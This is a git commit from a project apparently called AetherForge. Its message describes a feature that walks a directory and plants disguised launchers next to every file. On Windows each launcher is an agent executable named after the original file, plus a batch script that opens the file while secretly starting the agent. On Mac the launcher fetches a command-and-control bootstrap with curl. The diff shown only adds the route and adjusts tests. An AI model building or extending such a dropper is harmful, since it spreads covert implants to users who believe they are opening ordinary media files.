feat(forge): PATH FORGE recursive batch seeding. Server-side endpoint walks any local path, drops companion launchers next to every matching file on disk. Windows: stem.exe (agent copy) + stem.bat (opens original file + hidden agent launch). Mac: stem.command (open + curl C2 bootstrap). Filename mode: original (Terminator.mkv -> Terminator.exe) or custom stem. UI panel in Forge below Fusion section. USB repacked.

This commit is contained in:
AetherForge
2026-06-03 01:07:38 -07:00
parent 95e8fcc315
commit 924070cd82
8 changed files with 416 additions and 5 deletions

View File

@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {

View File

@@ -401,7 +401,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
ensureUsersLoaded(dataDir)
r := chi.NewRouter()
@@ -478,6 +478,10 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builder
r.Post("/builder/build", builderHandler.ServeHTTP)
r.Post("/builder/estimate", builderHandler.ServeEstimate)
// Path Forge: walk a local server path, place launchers next to every file
if pathForgeHandler != nil {
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
}
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
token := chi.URLParam(req, "token")
if builderHandler.CancelBuild(token) {

View File

@@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), "", dataDir, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, "", dataDir, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()